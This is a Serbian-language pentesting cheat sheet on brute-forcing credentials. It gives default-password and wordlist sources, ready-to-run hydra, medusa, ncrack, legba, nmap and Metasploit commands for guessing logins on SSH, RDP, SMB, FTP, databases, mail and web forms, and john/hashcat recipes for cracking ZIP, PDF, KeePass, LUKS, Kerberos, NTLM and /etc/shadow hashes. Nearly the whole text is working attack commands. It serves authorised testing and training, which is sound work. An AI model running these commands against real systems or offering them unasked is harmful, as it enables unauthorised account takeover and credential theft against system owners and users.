# Brute Force - Šifarnik
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## Podrazumevane Akreditacije
**Pretražite na google-u** podrazumevane akreditacije tehnologije koja se koristi, ili **probajte ove linkove**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Napravite svoje Rečnike**
Pronađite što više informacija o cilju koliko možete i generišite prilagođeni rečnik. Alati koji mogu pomoći:
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
Generišite šifre na osnovu vašeg znanja o žrtvi (imena, datumi...)
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Alatka za generisanje liste reči, koja vam omogućava da obezbedite skup reči, pružajući vam mogućnost da kreirate više varijacija od datih reči, stvarajući jedinstvenu i idealnu listu reči za korišćenje u vezi sa određenim ciljem.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### Wordlists
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\
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## Usluge
Poređane abecednim redom po imenu usluge.
### AFP
```bash
nmap -p 548 --script afp-brute
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE
msf> set USER_FILE
msf> run
```
### AJP
AJP (Apache JServ Protocol) je mrežni protokol koji se koristi za komunikaciju između web servera i aplikacija koje se izvršavaju na platformi Java. AJP Brute Force napad se može koristiti za pokušaj otkrivanja lozinki tako što se sistematski isprobavaju različite kombinacije lozinki dok se ne pronađe tačna lozinka.
```bash
nmap --script ajp-brute -p 8009
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Касандра
```bash
nmap --script cassandra-brute -p 9160
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registar
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
```bash
hydra -l root -P passwords.txt [-t 32] ftp
ncrack -p 21 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
### HTTP Generičko Brute
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTP Osnovna Autentifikacija
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h -u -P -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
### HTTP - NTLM
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Slanje forme putem POST metode
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
Za http**s** morate promeniti sa "http-post-form" na "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
nmap -sV --script imap-brute -p
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
```
### JWT
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
```bash
nmap --script ldap-brute -p 389
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```
### Mongo
```bash
nmap -sV --script mongodb-brute -n -p 27017
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
### MySQL
```bash
# hydra
hydra -L usernames.txt -P pass.txt mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
```bash
patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS
msf> set RPORT 1521
msf> set SID
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS
msf> set RPORTS 1521
msf> set SID
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**:
```bash
pip3 install cx_Oracle --upgrade
```
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
POP (Post Office Protocol) je jedan od najstarijih protokola za pristup e-pošti. Brute force napadi na POP servere mogu biti efikasni ako su lozinke slabo postavljene.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432
patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```
### PPTP
Možete preuzeti `.deb` paket za instalaciju sa [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u
```
### RDP
```bash
ncrack -vv --user -P pwds.txt rdp://
hydra -V -f -L -P rdp://
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379
hydra –P /path/pass.txt redis://: # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
### Rexec
```bash
hydra -l -P rexec:// -v -V
```
### Rlogin
```bash
hydra -l -P rlogin:// -v -V
```
### Rsh
```bash
hydra -L rsh:// -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
```bash
hydra -l root -P passwords.txt rtsp
```
### SFTP
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
```bash
nmap --script smb-brute -p 445
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ]
```
### SMTP
```bash
hydra -l -P /path/to/passwords.txt smtp -V
hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ]
```
### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql -d -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] ssh
ncrack -p 22 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ssh
patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### Slabe SSH ključeve / Predvidljiv PRNG u Debianu
Neke sisteme karakterišu poznate slabosti u slučajnom semenu korišćenom za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji mogu biti probijeni alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Takođe su dostupni unapred generisani setovi slabih ključeva poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
```bash
hydra -l root -P passwords.txt [-t 32] telnet
ncrack -p 23 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M telnet
legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
### VNC
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
medusa -h –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T
patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt
legba vnc --target localhost:5901 --password data/passwords.txt
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
```bash
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Lokalno
### Online baze za probijanje
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Heševi)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Heševi i heševi fajlova)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Heševi)
* [https://www.cmd5.org/](https://www.cmd5.org) (Heševi)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Pogledajte ovo pre nego što pokušate da probijete heš.
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Poznati napad zip arhive sa tekstom
Potrebno je da znate **čisti tekst** (ili deo čistog teksta) **fajla koji se nalazi unutar** enkriptovane zip arhive. Možete proveriti **imenovanje fajlova i veličinu fajlova koji se nalaze unutar** enkriptovane zip arhive pokretanjem komande: **`7z l encrypted.zip`**\
Preuzmite [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C -c -P -p
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```
### 7z
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password= --decrypt encrypted.pdf plaintext.pdf
```
### Vlasnička lozinka PDF-a
Da biste probili vlasničku lozinku PDF-a, proverite ovo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Dekripcija NTLM-a
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Srećna slika
#### Metoda 1
Instalacija: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Metoda 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Drugi Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
#John hash format
:$mysqlna$*
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### PGP/GPG Privatni ključ
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Cisco
### DPAPI Master Key
Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) a zatim john
### Open Office Pwd Protected Column
Ako imate xlsx fajl sa kolonom zaštićenom lozinkom, možete je ukloniti:
* **Postavite ga na google drive** i lozinka će automatski biti uklonjena
* Za **ručno uklanjanje**:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like:
# Remove that line and rezip the file
zip -r file.xls .
```
### PFX Sertifikati
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
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## Alati
**Primeri hešova:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identifikator heša
```bash
hash-identifier
>
```
### Wordlists
* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Alati za generisanje wordlisti**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, mapom tastera i rutama.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### Džonova mutacija
Pročitaj _**/etc/john/john.conf**_ i konfiguriši ga
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Hashcat napadi
* **Napad rečnikom** (`-a 0`) sa pravilima
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Napad kombinatora liste reči**
Moguće je **kombinovati 2 liste reči u 1** pomoću hashcat-a.\
Ako lista 1 sadrži reč **"hello"** a druga sadrži 2 linije sa rečima **"world"** i **"earth"**. Reči `helloworld` i `helloearth` će biti generisane.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **Mask napad** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Napad sa listom reči + maskom (`-a 6`) / Maskom + listom reči (`-a 7`)
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcat režimi
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
### Brute Forcing Linux Hashes - /etc/shadow fajl
Brute force napadi su često korišćeni za pokušaje dešifrovanja lozinki iz Linux `/etc/shadow` fajla. Ovaj fajl sadrži kriptovane lozinke korisnika i obično se koristi za autentikaciju prilikom prijavljivanja na sistem. Korišćenjem brute force tehnike, napadači mogu pokušati različite kombinacije lozinki sve dok ne pronađu odgovarajuću lozinku za određenog korisnika. Ovo je jedan od osnovnih metoda za probijanje lozinki i zahteva vreme i resurse, ali može biti efikasan ako je lozinka slaba.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
Razbijanje Windows heševa
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
